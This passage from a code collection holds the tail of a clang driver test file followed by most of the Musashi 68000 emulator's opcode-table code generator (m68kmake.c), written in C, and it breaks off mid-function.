// CHECK-AARCH64: "-cc1"
// CHECK-AARCH64: "-cc1"
// CHECK-AARCH64: "-target-abi"
// CHECK-AARCH64: "darwinpcs"
// CHECK-AARCH64-NOT: "-fdebug-compilation-dir"
// RUN: %clang -target hexagon-unknown-elf -ffixed-r19 -fembed-bitcode=all -c %s -### 2>&1 \
// RUN: | FileCheck --check-prefix=CHECK-HEXAGON %s
// CHECK-HEXAGON: "-target-feature"
// CHECK-HEXAGON: "+reserved-r19"
|
the_stack_data/84460.c
|
/* ======================================================================== */
/* ========================= LICENSING & COPYRIGHT ======================== */
/* ======================================================================== */
/*
* MUSASHI
* Version 3.31
*
* A portable Motorola M680x0 processor emulation engine.
* Copyright 1998-2007 Karl Stenerud. All rights reserved.
*
* This code may be freely used for non-commercial purposes as long as this
* copyright notice remains unaltered in the source code and any binary files
* containing this code in compiled form.
*
* All other lisencing terms must be negotiated with the author
* (Karl Stenerud).
*
* The latest version of this code can be obtained at:
* http://kstenerud.cjb.net
*/
/*
* Modified For OpenVMS By: Robert Alan Byer
* [email protected]
*/
/* ======================================================================== */
/* ============================ CODE GENERATOR ============================ */
/* ======================================================================== */
/*
* This is the code generator program which will generate the opcode table
* and the final opcode handlers.
*
* It requires an input file to function (default m68k_in.c), but you can
* specify your own like so:
*
* m68kmake <output path> <input file>
*
* where output path is the path where the output files should be placed, and
* input file is the file to use for input.
*
* If you modify the input file greatly from its released form, you may have
* to tweak the configuration section a bit since I'm using static allocation
* to keep things simple.
*
*
* TODO: - build a better code generator for the move instruction.
* - Add callm and rtm instructions
* - Fix RTE to handle other format words
* - Add address error (and bus error?) handling
*/
static const char* g_version = "3.31";
/* ======================================================================== */
/* =============================== INCLUDES =============================== */
/* ======================================================================== */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <ctype.h>
#include <stdarg.h>
/* ======================================================================== */
/* ============================= CONFIGURATION ============================ */
/* ======================================================================== */
#define M68K_MAX_PATH 1024
#define M68K_MAX_DIR 1024
#define MAX_LINE_LENGTH 200 /* length of 1 line */
#define MAX_BODY_LENGTH 300 /* Number of lines in 1 function */
#define MAX_REPLACE_LENGTH 30 /* Max number of replace strings */
#define MAX_INSERT_LENGTH 5000 /* Max size of insert piece */
#define MAX_NAME_LENGTH 30 /* Max length of ophandler name */
#define MAX_SPEC_PROC_LENGTH 4 /* Max length of special processing str */
#define MAX_SPEC_EA_LENGTH 5 /* Max length of specified EA str */
#define EA_ALLOWED_LENGTH 11 /* Max length of ea allowed str */
#define MAX_OPCODE_INPUT_TABLE_LENGTH 1000 /* Max length of opcode handler tbl */
#define MAX_OPCODE_OUTPUT_TABLE_LENGTH 3000 /* Max length of opcode handler tbl */
/* Default filenames */
#define FILENAME_INPUT "m68k_in.c"
#define FILENAME_PROTOTYPE "m68kops.h"
#define FILENAME_TABLE "m68kops.c"
/* Identifier sequences recognized by this program */
#define ID_INPUT_SEPARATOR "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
#define ID_BASE "M68KMAKE"
#define ID_PROTOTYPE_HEADER ID_BASE "_PROTOTYPE_HEADER"
#define ID_PROTOTYPE_FOOTER ID_BASE "_PROTOTYPE_FOOTER"
#define ID_TABLE_HEADER ID_BASE "_TABLE_HEADER"
#define ID_TABLE_FOOTER ID_BASE "_TABLE_FOOTER"
#define ID_TABLE_BODY ID_BASE "_TABLE_BODY"
#define ID_TABLE_START ID_BASE "_TABLE_START"
#define ID_OPHANDLER_HEADER ID_BASE "_OPCODE_HANDLER_HEADER"
#define ID_OPHANDLER_FOOTER ID_BASE "_OPCODE_HANDLER_FOOTER"
#define ID_OPHANDLER_BODY ID_BASE "_OPCODE_HANDLER_BODY"
#define ID_END ID_BASE "_END"
#define ID_OPHANDLER_NAME ID_BASE "_OP"
#define ID_OPHANDLER_EA_AY_8 ID_BASE "_GET_EA_AY_8"
#define ID_OPHANDLER_EA_AY_16 ID_BASE "_GET_EA_AY_16"
#define ID_OPHANDLER_EA_AY_32 ID_BASE "_GET_EA_AY_32"
#define ID_OPHANDLER_OPER_AY_8 ID_BASE "_GET_OPER_AY_8"
#define ID_OPHANDLER_OPER_AY_16 ID_BASE "_GET_OPER_AY_16"
#define ID_OPHANDLER_OPER_AY_32 ID_BASE "_GET_OPER_AY_32"
#define ID_OPHANDLER_CC ID_BASE "_CC"
#define ID_OPHANDLER_NOT_CC ID_BASE "_NOT_CC"
#ifndef DECL_SPEC
#define DECL_SPEC
#endif /* DECL_SPEC */
/* ======================================================================== */
/* ============================== PROTOTYPES ============================== */
/* ======================================================================== */
enum {
CPU_TYPE_000 = 0,
CPU_TYPE_010,
CPU_TYPE_020,
CPU_TYPE_040,
NUM_CPUS
};
#define UNSPECIFIED "."
#define UNSPECIFIED_CH '.'
#define HAS_NO_EA_MODE(A) (strcmp(A, "..........") == 0)
#define HAS_EA_AI(A) ((A)[0] == 'A')
#define HAS_EA_PI(A) ((A)[1] == '+')
#define HAS_EA_PD(A) ((A)[2] == '-')
#define HAS_EA_DI(A) ((A)[3] == 'D')
#define HAS_EA_IX(A) ((A)[4] == 'X')
#define HAS_EA_AW(A) ((A)[5] == 'W')
#define HAS_EA_AL(A) ((A)[6] == 'L')
#define HAS_EA_PCDI(A) ((A)[7] == 'd')
#define HAS_EA_PCIX(A) ((A)[8] == 'x')
#define HAS_EA_I(A) ((A)[9] == 'I')
enum
{
EA_MODE_NONE, /* No special addressing mode */
EA_MODE_AI, /* Address register indirect */
EA_MODE_PI, /* Address register indirect with postincrement */
EA_MODE_PI7, /* Address register 7 indirect with postincrement */
EA_MODE_PD, /* Address register indirect with predecrement */
EA_MODE_PD7, /* Address register 7 indirect with predecrement */
EA_MODE_DI, /* Address register indirect with displacement */
EA_MODE_IX, /* Address register indirect with index */
EA_MODE_AW, /* Absolute word */
EA_MODE_AL, /* Absolute long */
EA_MODE_PCDI, /* Program counter indirect with displacement */
EA_MODE_PCIX, /* Program counter indirect with index */
EA_MODE_I /* Immediate */
};
/* Everything we need to know about an opcode */
typedef struct
{
char name[MAX_NAME_LENGTH]; /* opcode handler name */
unsigned char size; /* Size of operation */
char spec_proc[MAX_SPEC_PROC_LENGTH]; /* Special processing mode */
char spec_ea[MAX_SPEC_EA_LENGTH]; /* Specified effective addressing mode */
unsigned char bits; /* Number of significant bits (used for sorting the table) */
unsigned short op_mask; /* Mask to apply for matching an opcode to a handler */
unsigned short op_match; /* Value to match after masking */
char ea_allowed[EA_ALLOWED_LENGTH]; /* Effective addressing modes allowed */
char cpu_mode[NUM_CPUS]; /* User or supervisor mode */
char cpus[NUM_CPUS+1]; /* Allowed CPUs */
unsigned char cycles[NUM_CPUS]; /* cycles for 000, 010, 020 */
} opcode_struct;
/* All modifications necessary for a specific EA mode of an instruction */
typedef struct
{
const char* fname_add;
const char* ea_add;
unsigned int mask_add;
unsigned int match_add;
} ea_info_struct;
/* Holds the body of a function */
typedef struct
{
char body[MAX_BODY_LENGTH][MAX_LINE_LENGTH+1];
int length;
} body_struct;
/* Holds a sequence of search / replace strings */
typedef struct
{
char replace[MAX_REPLACE_LENGTH][2][MAX_LINE_LENGTH+1];
int length;
} replace_struct;
/* Function Prototypes */
void error_exit(const char* fmt, ...);
void perror_exit(const char* fmt, ...);
int check_strsncpy(char* dst, char* src, int maxlength);
int check_atoi(char* str, int *result);
int skip_spaces(char* str);
int num_bits(int value);
int atoh(char* buff);
int fgetline(char* buff, int nchars, FILE* file);
int get_oper_cycles(opcode_struct* op, int ea_mode, int cpu_type);
opcode_struct* find_opcode(char* name, int size, char* spec_proc, char* spec_ea);
opcode_struct* find_illegal_opcode(void);
int extract_opcode_info(char* src, char* name, int* size, char* spec_proc, char* spec_ea);
void add_replace_string(replace_struct* replace, const char* search_str, const char* replace_str);
void write_body(FILE* filep, body_struct* body, replace_struct* replace);
void get_base_name(char* base_name, opcode_struct* op);
void write_prototype(FILE* filep, char* base_name);
void write_function_name(FILE* filep, char* base_name);
void add_opcode_output_table_entry(opcode_struct* op, char* name);
static int DECL_SPEC compare_nof_true_bits(const void* aptr, const void* bptr);
void print_opcode_output_table(FILE* filep);
void write_table_entry(FILE* filep, opcode_struct* op);
void set_opcode_struct(opcode_struct* src, opcode_struct* dst, int ea_mode);
void generate_opcode_handler(FILE* filep, body_struct* body, replace_struct* replace, opcode_struct* opinfo, int ea_mode);
void generate_opcode_ea_variants(FILE* filep, body_struct* body, replace_struct* replace, opcode_struct* op);
void generate_opcode_cc_variants(FILE* filep, body_struct* body, replace_struct* replace, opcode_struct* op_in, int offset);
void process_opcode_handlers(FILE* filep);
void populate_table(void);
void read_insert(char* insert);
/* ======================================================================== */
/* ================================= DATA ================================= */
/* ======================================================================== */
/* Name of the input file */
char g_input_filename[M68K_MAX_PATH] = FILENAME_INPUT;
/* File handles */
FILE* g_input_file = NULL;
FILE* g_prototype_file = NULL;
FILE* g_table_file = NULL;
int g_num_functions = 0; /* Number of functions processed */
int g_num_primitives = 0; /* Number of function primitives read */
int g_line_number = 1; /* Current line number */
/* Opcode handler table */
opcode_struct g_opcode_input_table[MAX_OPCODE_INPUT_TABLE_LENGTH];
opcode_struct g_opcode_output_table[MAX_OPCODE_OUTPUT_TABLE_LENGTH];
int g_opcode_output_table_length = 0;
ea_info_struct g_ea_info_table[13] =
{/* fname ea mask match */
{"", "", 0x00, 0x00}, /* EA_MODE_NONE */
{"ai", "AY_AI", 0x38, 0x10}, /* EA_MODE_AI */
{"pi", "AY_PI", 0x38, 0x18}, /* EA_MODE_PI */
{"pi7", "A7_PI", 0x3f, 0x1f}, /* EA_MODE_PI7 */
{"pd", "AY_PD", 0x38, 0x20}, /* EA_MODE_PD */
{"pd7", "A7_PD", 0x3f, 0x27}, /* EA_MODE_PD7 */
{"di", "AY_DI", 0x38, 0x28}, /* EA_MODE_DI */
{"ix", "AY_IX", 0x38, 0x30}, /* EA_MODE_IX */
{"aw", "AW", 0x3f, 0x38}, /* EA_MODE_AW */
{"al", "AL", 0x3f, 0x39}, /* EA_MODE_AL */
{"pcdi", "PCDI", 0x3f, 0x3a}, /* EA_MODE_PCDI */
{"pcix", "PCIX", 0x3f, 0x3b}, /* EA_MODE_PCIX */
{"i", "I", 0x3f, 0x3c}, /* EA_MODE_I */
};
const char* g_cc_table[16][2] =
{
{ "t", "T"}, /* 0000 */
{ "f", "F"}, /* 0001 */
{"hi", "HI"}, /* 0010 */
{"ls", "LS"}, /* 0011 */
{"cc", "CC"}, /* 0100 */
{"cs", "CS"}, /* 0101 */
{"ne", "NE"}, /* 0110 */
{"eq", "EQ"}, /* 0111 */
{"vc", "VC"}, /* 1000 */
{"vs", "VS"}, /* 1001 */
{"pl", "PL"}, /* 1010 */
{"mi", "MI"}, /* 1011 */
{"ge", "GE"}, /* 1100 */
{"lt", "LT"}, /* 1101 */
{"gt", "GT"}, /* 1110 */
{"le", "LE"}, /* 1111 */
};
/* size to index translator (0 -> 0, 8 and 16 -> 1, 32 -> 2) */
int g_size_select_table[33] =
{
0, /* unsized */
0, 0, 0, 0, 0, 0, 0, 1, /* 8 */
0, 0, 0, 0, 0, 0, 0, 1, /* 16 */
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2 /* 32 */
};
/* Extra cycles required for certain EA modes */
/* TODO: correct timings for 040 */
int g_ea_cycle_table[13][NUM_CPUS][3] =
{/* 000 010 020 040 */
{{ 0, 0, 0}, { 0, 0, 0}, { 0, 0, 0}, { 0, 0, 0}}, /* EA_MODE_NONE */
{{ 0, 4, 8}, { 0, 4, 8}, { 0, 4, 4}, { 0, 4, 4}}, /* EA_MODE_AI */
{{ 0, 4, 8}, { 0, 4, 8}, { 0, 4, 4}, { 0, 4, 4}}, /* EA_MODE_PI */
{{ 0, 4, 8}, { 0, 4, 8}, { 0, 4, 4}, { 0, 4, 4}}, /* EA_MODE_PI7 */
{{ 0, 6, 10}, { 0, 6, 10}, { 0, 5, 5}, { 0, 5, 5}}, /* EA_MODE_PD */
{{ 0, 6, 10}, { 0, 6, 10}, { 0, 5, 5}, { 0, 5, 5}}, /* EA_MODE_PD7 */
{{ 0, 8, 12}, { 0, 8, 12}, { 0, 5, 5}, { 0, 5, 5}}, /* EA_MODE_DI */
{{ 0, 10, 14}, { 0, 10, 14}, { 0, 7, 7}, { 0, 7, 7}}, /* EA_MODE_IX */
{{ 0, 8, 12}, { 0, 8, 12}, { 0, 4, 4}, { 0, 4, 4}}, /* EA_MODE_AW */
{{ 0, 12, 16}, { 0, 12, 16}, { 0, 4, 4}, { 0, 4, 4}}, /* EA_MODE_AL */
{{ 0, 8, 12}, { 0, 8, 12}, { 0, 5, 5}, { 0, 5, 5}}, /* EA_MODE_PCDI */
{{ 0, 10, 14}, { 0, 10, 14}, { 0, 7, 7}, { 0, 7, 7}}, /* EA_MODE_PCIX */
{{ 0, 4, 8}, { 0, 4, 8}, { 0, 2, 4}, { 0, 2, 4}}, /* EA_MODE_I */
};
/* Extra cycles for JMP instruction (000, 010) */
int g_jmp_cycle_table[13] =
{
0, /* EA_MODE_NONE */
4, /* EA_MODE_AI */
0, /* EA_MODE_PI */
0, /* EA_MODE_PI7 */
0, /* EA_MODE_PD */
0, /* EA_MODE_PD7 */
6, /* EA_MODE_DI */
10, /* EA_MODE_IX */
6, /* EA_MODE_AW */
8, /* EA_MODE_AL */
6, /* EA_MODE_PCDI */
10, /* EA_MODE_PCIX */
0, /* EA_MODE_I */
};
/* Extra cycles for JSR instruction (000, 010) */
int g_jsr_cycle_table[13] =
{
0, /* EA_MODE_NONE */
4, /* EA_MODE_AI */
0, /* EA_MODE_PI */
0, /* EA_MODE_PI7 */
0, /* EA_MODE_PD */
0, /* EA_MODE_PD7 */
6, /* EA_MODE_DI */
10, /* EA_MODE_IX */
6, /* EA_MODE_AW */
8, /* EA_MODE_AL */
6, /* EA_MODE_PCDI */
10, /* EA_MODE_PCIX */
0, /* EA_MODE_I */
};
/* Extra cycles for LEA instruction (000, 010) */
int g_lea_cycle_table[13] =
{
0, /* EA_MODE_NONE */
4, /* EA_MODE_AI */
0, /* EA_MODE_PI */
0, /* EA_MODE_PI7 */
0, /* EA_MODE_PD */
0, /* EA_MODE_PD7 */
8, /* EA_MODE_DI */
12, /* EA_MODE_IX */
8, /* EA_MODE_AW */
12, /* EA_MODE_AL */
8, /* EA_MODE_PCDI */
12, /* EA_MODE_PCIX */
0, /* EA_MODE_I */
};
/* Extra cycles for PEA instruction (000, 010) */
int g_pea_cycle_table[13] =
{
0, /* EA_MODE_NONE */
6, /* EA_MODE_AI */
0, /* EA_MODE_PI */
0, /* EA_MODE_PI7 */
0, /* EA_MODE_PD */
0, /* EA_MODE_PD7 */
10, /* EA_MODE_DI */
14, /* EA_MODE_IX */
10, /* EA_MODE_AW */
14, /* EA_MODE_AL */
10, /* EA_MODE_PCDI */
14, /* EA_MODE_PCIX */
0, /* EA_MODE_I */
};
/* Extra cycles for MOVEM instruction (000, 010) */
int g_movem_cycle_table[13] =
{
0, /* EA_MODE_NONE */
0, /* EA_MODE_AI */
0, /* EA_MODE_PI */
0, /* EA_MODE_PI7 */
0, /* EA_MODE_PD */
0, /* EA_MODE_PD7 */
4, /* EA_MODE_DI */
6, /* EA_MODE_IX */
4, /* EA_MODE_AW */
8, /* EA_MODE_AL */
0, /* EA_MODE_PCDI */
0, /* EA_MODE_PCIX */
0, /* EA_MODE_I */
};
/* Extra cycles for MOVES instruction (010) */
int g_moves_cycle_table[13][3] =
{
{ 0, 0, 0}, /* EA_MODE_NONE */
{ 0, 4, 6}, /* EA_MODE_AI */
{ 0, 4, 6}, /* EA_MODE_PI */
{ 0, 4, 6}, /* EA_MODE_PI7 */
{ 0, 6, 12}, /* EA_MODE_PD */
{ 0, 6, 12}, /* EA_MODE_PD7 */
{ 0, 12, 16}, /* EA_MODE_DI */
{ 0, 16, 20}, /* EA_MODE_IX */
{ 0, 12, 16}, /* EA_MODE_AW */
{ 0, 16, 20}, /* EA_MODE_AL */
{ 0, 0, 0}, /* EA_MODE_PCDI */
{ 0, 0, 0}, /* EA_MODE_PCIX */
{ 0, 0, 0}, /* EA_MODE_I */
};
/* Extra cycles for CLR instruction (010) */
int g_clr_cycle_table[13][3] =
{
{ 0, 0, 0}, /* EA_MODE_NONE */
{ 0, 4, 6}, /* EA_MODE_AI */
{ 0, 4, 6}, /* EA_MODE_PI */
{ 0, 4, 6}, /* EA_MODE_PI7 */
{ 0, 6, 8}, /* EA_MODE_PD */
{ 0, 6, 8}, /* EA_MODE_PD7 */
{ 0, 8, 10}, /* EA_MODE_DI */
{ 0, 10, 14}, /* EA_MODE_IX */
{ 0, 8, 10}, /* EA_MODE_AW */
{ 0, 10, 14}, /* EA_MODE_AL */
{ 0, 0, 0}, /* EA_MODE_PCDI */
{ 0, 0, 0}, /* EA_MODE_PCIX */
{ 0, 0, 0}, /* EA_MODE_I */
};
/* ======================================================================== */
/* =========================== UTILITY FUNCTIONS ========================== */
/* ======================================================================== */
/* Print an error message and exit with status error */
void error_exit(const char* fmt, ...)
{
va_list args;
fprintf(stderr, "In %s, near or on line %d:\n\t", g_input_filename, g_line_number);
va_start(args, fmt);
vfprintf(stderr, fmt, args);
va_end(args);
fprintf(stderr, "\n");
if(g_prototype_file) fclose(g_prototype_file);
if(g_table_file) fclose(g_table_file);
if(g_input_file) fclose(g_input_file);
exit(EXIT_FAILURE);
}
/* Print an error message, call perror(), and exit with status error */
void perror_exit(const char* fmt, ...)
{
va_list args;
va_start(args, fmt);
vfprintf(stderr, fmt, args);
va_end(args);
perror("");
if(g_prototype_file) fclose(g_prototype_file);
if(g_table_file) fclose(g_table_file);
if(g_input_file) fclose(g_input_file);
exit(EXIT_FAILURE);
}
/* copy until 0 or space and exit with error if we read too far */
int check_strsncpy(char* dst, char* src, int maxlength)
{
char* p = dst;
while(*src && *src != ' ')
{
*p++ = *src++;
if(p - dst > maxlength)
error_exit("Field too long");
}
*p = 0;
return p - dst;
}
/* copy until 0 or specified character and exit with error if we read too far */
int check_strcncpy(char* dst, char* src, char delim, int maxlength)
{
char* p = dst;
while(*src && *src != delim)
{
*p++ = *src++;
if(p - dst > maxlength)
error_exit("Field too long");
}
*p = 0;
return p - dst;
}
/* convert ascii to integer and exit with error if we find invalid data */
int check_atoi(char* str, int *result)
{
int accum = 0;
char* p = str;
while(*p >= '0' && *p <= '9')
{
accum *= 10;
accum += *p++ - '0';
}
if(*p != ' ' && *p != 0)
error_exit("Malformed integer value (%c)", *p);
*result = accum;
return p - str;
}
/* Skip past spaces in a string */
int skip_spaces(char* str)
{
char* p = str;
while(*p == ' ')
p++;
return p - str;
}
/* Count the number of set bits in a value */
int num_bits(int value)
{
value = ((value & 0xaaaa) >> 1) + (value & 0x5555);
value = ((value & 0xcccc) >> 2) + (value & 0x3333);
value = ((value & 0xf0f0) >> 4) + (value & 0x0f0f);
value = ((value & 0xff00) >> 8) + (value & 0x00ff);
return value;
}
/* Convert a hex value written in ASCII */
int atoh(char* buff)
{
int accum = 0;
for(;;buff++)
{
if(*buff >= '0' && *buff <= '9')
{
accum <<= 4;
accum += *buff - '0';
}
else if(*buff >= 'a' && *buff <= 'f')
{
accum <<= 4;
accum += *buff - 'a' + 10;
}
else break;
}
return accum;
}
/* Get a line of text from a file, discarding any end-of-line characters */
int fgetline(char* buff, int nchars, FILE* file)
{
int length;
if(fgets(buff, nchars, file) == NULL)
return -1;
if(buff[0] == '\r')
memcpy(buff, buff + 1, nchars - 1);
length = strlen(buff);
while(length && (buff[length-1] == '\r' || buff[length-1] == '\n'))
length--;
buff[length] = 0;
g_line_number++;
return length;
}
/* ======================================================================== */
/* =========================== HELPER FUNCTIONS =========================== */
/* ======================================================================== */
/* Calculate the number of cycles an opcode requires */
int get_oper_cycles(opcode_struct* op, int ea_mode, int cpu_type)
{
int size = g_size_select_table[op->size];
if(op->cpus[cpu_type] == '.')
return 0;
if(cpu_type < CPU_TYPE_020)
{
if(cpu_type == CPU_TYPE_010)
{
if(strcmp(op->name, "moves") == 0)
return op->cycles[cpu_type] + g_moves_cycle_table[ea_mode][size];
if(strcmp(op->name, "clr") == 0)
return op->cycles[cpu_type] + g_clr_cycle_table[ea_mode][size];
}
/* ASG: added these cases -- immediate modes take 2 extra cycles here */
/* SV: but only when operating on long, and also on register direct mode */
if(cpu_type == CPU_TYPE_000 && (ea_mode == EA_MODE_I || ea_mode == EA_MODE_NONE) && op->size == 32 &&
((strcmp(op->name, "add") == 0 && strcmp(op->spec_proc, "er") == 0) ||
strcmp(op->name, "adda") == 0 ||
(strcmp(op->name, "and") == 0 && strcmp(op->spec_proc, "er") == 0) ||
(strcmp(op->name, "or") == 0 && strcmp(op->spec_proc, "er") == 0) ||
(strcmp(op->name, "sub") == 0 && strcmp(op->spec_proc, "er") == 0) ||
strcmp(op->name, "suba") == 0))
return op->cycles[cpu_type] + g_ea_cycle_table[ea_mode][cpu_type][size] + 2;
if(strcmp(op->name, "jmp") == 0)
return op->cycles[cpu_type] + g_jmp_cycle_table[ea_mode];
if(strcmp(op->name, "jsr") == 0)
return op->cycles[cpu_type] + g_jsr_cycle_table[ea_mode];
if(strcmp(op->name, "lea") == 0)
return op->cycles[cpu_type] + g_lea_cycle_table[ea_mode];
if(strcmp(op->name, "pea") == 0)
return op->cycles[cpu_type] + g_pea_cycle_table[ea_mode];
if(strcmp(op->name, "movem") == 0)
return op->cycles[cpu_type] + g_movem_cycle_table[ea_mode];
}
return op->cycles[cpu_type] + g_ea_cycle_table[ea_mode][cpu_type][size];
}
/* Find an opcode in the opcode handler list */
opcode_struct* find_opcode(char* name, int size, char* spec_proc, char* spec_ea)
{
opcode_struct* op;
for(op = g_opcode_input_table;op->name != NULL;op++)
{
if( strcmp(name, op->name) == 0 &&
(size == op->size) &&
strcmp(spec_proc, op->spec_proc) == 0 &&
strcmp(spec_ea, op->spec_ea) == 0)
return op;
}
return NULL;
}
/* Specifically find the illegal opcode in the list */
opcode_struct* find_illegal_opcode(void)
{
opcode_struct* op;
for(op = g_opcode_input_table;op->name != NULL;op++)
{
if(strcmp(op->name, "illegal") == 0)
return op;
}
return NULL;
}
/* Parse an opcode handler name */
int extract_opcode_info(char* src, char* name, int* size, char* spec_proc, char* spec_ea)
{
char* ptr = strstr(src, ID_OPHANDLER_NAME);
if(ptr == NULL)
return 0;
ptr += strlen(ID_OPHANDLER_NAME) + 1;
ptr += check_strcncpy(name, ptr, ',', MAX_NAME_LENGTH);
if(*ptr != ',') return 0;
ptr++;
ptr += skip_spaces(ptr);
*size = atoi(ptr);
ptr = strstr(ptr, ",");
if(ptr == NULL) return 0;
ptr++;
ptr += skip_spaces(ptr);
ptr += check_strcncpy(spec_proc, ptr, ',', MAX_SPEC_PROC_LENGTH);
if(*ptr != ',') return 0;
ptr++;
ptr += skip_spaces(ptr);
ptr += check_strcncpy(spec_ea, ptr, ')', MAX_SPEC_EA_LENGTH);
if(*ptr != ')') return 0;
ptr++;
ptr += skip_spaces(ptr);
return 1;
}
/* Add a search/replace pair to a replace structure */
void add_replace_string(replace_struct* replace, const char* search_str, const char* replace_str)
{
if(replace->length >= MAX_REPLACE_LENGTH)
error_exit("overflow in replace structure");
strcpy(replace->replace[replace->length][0], search_str);
strcpy(replace->replace[replace->length++][1], replace_str);
}
/* Write a function body while replacing any selected strings */
void write_body(FILE* filep, body_struct* body, replace_struct* replace)
{
int i;
int j;
char* ptr;
char output[MAX_LINE_LENGTH+1];
char temp_buff[MAX_LINE_LENGTH+1];
int found;
for(i=0;i<body->length;i++)
{
strcpy(output, body->body[i]);
/* Check for the base directive header */
if(strstr(output, ID_BASE) != NULL)
{
/* Search for any text we need to replace */
found = 0;
for(j=0;j<replace->length;j++)
{
ptr = strstr(output, replace->replace[j][0]);
if(ptr)
{
/* We found something to replace */
found = 1;
strcpy(temp_buff, ptr+strlen(replace->replace[j][0]));
strcpy(ptr, replace->replace[j][1]);
strcat(ptr, temp_buff);
}
}
/* Found a directive with no matching replace string */
if(!found)
error_exit("Unknown " ID_BASE " directive");
}
fprintf(filep, "%s\n", output);
}
fprintf(filep, "\n\n");
}
/* Generate a base function name from an opcode struct */
void get_base_name(char* base_name, opcode_struct* op)
{
sprintf(base_name, "m68k_op_%s", op->name);
if(op->size > 0)
sprintf(base_name+strlen(base_name), "_%d", op->size);
if(strcmp(op->spec_proc, UNSPECIFIED) != 0)
sprintf(base_name+strlen(base_name), "_%s", op->spec_proc);
if(strcmp(op->spec_ea, UNSPECIFIED) != 0)
sprintf(base_name+strlen(base_name), "_%s", op->spec_ea);
}
/* Write the prototype of an opcode handler function */
void write_prototype(FILE* filep, char* base_name)
{
fprintf(filep, "void %s(void);\n", base_name);
}
/* Write the name of an opcode handler function */
void write_function_name(FILE* filep, char* base_name)
{
fprintf(filep, "void %s(void)\n", base_name);
}
void add_opcode_output_table_entry(opcode_struct* op, char* name)
{
opcode_struct* ptr;
if(g_opcode_output_table_length > MAX_OPCODE_OUTPUT_TABLE_LENGTH)
error_exit("Opcode output table overflow");
ptr = g_opcode_output_table + g_opcode_output_table_length++;
*ptr = *op;
strcpy(ptr->name, name);
ptr->bits = num_bits(ptr->op_mask);
}
/*
* Comparison function for qsort()
* For entries with an equal number of set bits in
* the mask compare the match values
*/
static int DECL_SPEC compare_nof_true_bits(const void* aptr, const void* bptr)
{
const opcode_struct *a = aptr, *b = bptr;
if(a->bits != b->bits)
return a->bits - b->bits;
if(a->op_mask != b->op_mask)
return a->op_mask - b->op_mask;
return a->op_match - b->op_match;
}
void print_opcode_output_table(FILE* filep)
{
int i;
qsort((void *)g_opcode_output_table, g_opcode_output_table_length, sizeof(g_opcode_output_table[0]), compare_nof_true_bits);
for(i=0;i<g_opcode_output_table_length;i++)
write_table_entry(filep, g_opcode_output_table+i);
}
/* Write an entry in the opcode handler table */
void write_table_entry(FILE* filep, opcode_struct* op)
{
int i;
fprintf(filep, "\t{%-28s, 0x%04x, 0x%04x, {",
op->name, op->op_mask, op->op_match);
for(i=0;i<NUM_CPUS;i++)
{
fprintf(filep, "%3d", op->cycles[i]);
if(i < NUM_CPUS-1)
fprintf(filep, ", ");
}
fprintf(filep, "}},\n");
}
/* Fill out an opcode struct with a specific addressing mode of the source opcode struct */
void set_opcode_struct(opcode_struct* src, opcode_struct* dst, int ea_mode)
{
int i;
*dst = *src;
for(i=0;i<NUM_CPUS;i++)
dst->cycles[i] = get_oper_cycles(dst, ea_mode, i);
if(strcmp(dst->spec_ea, UNSPECIFIED) == 0 && ea_mode != EA_MODE_NONE)
sprintf(dst->spec_ea, "%s", g_ea_info_table[ea_mode].fname_add);
dst->op_mask |= g_ea_info_table[ea_mode].mask_add;
dst->op_match |= g_ea_info_table[ea_mode].match_add;
}
/* Generate a final opcode handler from the provided data */
void generate_opcode_handler(FILE* filep, body_struct* body, replace_struct* replace, opcode_struct* opinfo, int ea_mode)
{
char str[MAX_LINE_LENGTH+1];
opcode_struct* op = malloc(sizeof(opcode_struct));
/* Set the opcode structure and write the tables, prototypes, etc */
set_opcode_struct(opinfo, op, ea_mode);
get_base_name(str, op);
write_prototype(g_prototype_file, str);
add_opcode_output_table_entry(op, str);
write_function_name(filep, str);
/* Add any replace strings needed */
if(ea_mode != EA_MODE_NONE)
{
sprintf(str, "EA_%s_8()", g_ea_info_table[ea_mode].ea_add);
add_replace_string(replace, ID_OPHANDLER_EA_AY_8, str);
sprintf(str, "EA_%s_16()", g_ea_info_table[ea_mode].ea_add);
add_replace_string(replace, ID_OPHANDLER_EA_AY_16, str);
sprintf(str, "EA_%s_32()", g_ea_info_table[ea_mode].ea_add);
add_replace_string(replace, ID_OPHANDLER_EA_AY_32, str);
sprintf(str, "OPER_%s_8()", g_ea_info_table[ea_mode].ea_add);
add_replace_string(replace, ID_OPHANDLER_OPER_AY_8, str);
sprintf(str, "OPER_%s_16()", g_ea_info_table[ea_mode].ea_add);
add_replace_string(replace, ID_OPHANDLER_OPER_AY_16, str);
sprintf(str, "OPER_%s_32()", g_ea_info_table[ea_mode].ea_add);
add_replace_string(replace, ID_OPHANDLER_OPER_AY_32, str);
}
/* Now write the function body with the selected replace strings */
write_body(filep, body, replace);
g_num_functions++;
free(op);
}
/* Generate opcode variants based on available addressing modes */
void generate_opcode_ea_variants(FILE* filep, body_struct* body, replace_struct* replace, opcode_struct* op)
{
int old_length = replace->length;
/* No ea modes available for this opcode */
if(HAS_NO_EA_MODE(op->ea_allowed))
{
generate_opcode_handler(filep, body, replace, op, EA_MODE_NONE);
return;
}
/* Check for and create specific opcodes for each available addressing mode */
if(HAS_EA_AI(op->ea_allowed))
generate_opcode_handler(filep, body, replace, op, EA_MODE_AI);
replace->length = old_length;
if(HAS_EA_PI(op->ea_allowed))
{
generate_opcode_handler(filep, body, replace, op, EA_MODE_PI);
replace->length = old_length;
if(op->size == 8)
generate_opcode_handler(filep, body, replace, op, EA_MODE_PI7);
}
replace->length = old_length;
if(HAS_EA_PD(op->ea_allowed))
{
generate_opcode_handler(filep, body, replace, op, EA_MODE_PD);
replace->length = old_length;
if(op->size == 8)
generate_opcode_handler(filep, body, replace, op, EA_MODE_PD7);
}
replace->length = old_length;
if(HAS_EA_DI(op->ea_allowed))
generate_opcode_handler(filep, body, replace, op, EA_MODE_DI);
replace->length = old_length;
if(HAS_EA_IX(op->ea_allowed))
generate_opcode_handler(filep, body, replace, op, EA_MODE_IX);
replace->length = old_length;
if(HAS_EA_AW(op->ea_allowed))
generate_opcode_handler(filep, body, replace, op, EA_MODE_AW);
replace->length = old_length;
if(HAS_EA_AL(op->ea_allowed))
generate_opcode_handler(filep, body, replace, op, EA_MODE_AL);
